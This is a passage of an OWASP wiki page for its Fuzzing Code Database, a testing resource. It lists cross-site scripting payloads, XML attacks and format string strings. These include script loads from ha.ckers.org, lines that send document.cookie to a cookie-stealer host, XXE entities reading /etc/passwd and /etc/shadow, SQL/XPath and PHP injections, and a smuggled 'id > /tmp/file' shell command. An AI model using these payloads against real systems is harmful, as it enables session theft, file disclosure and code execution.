&quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs 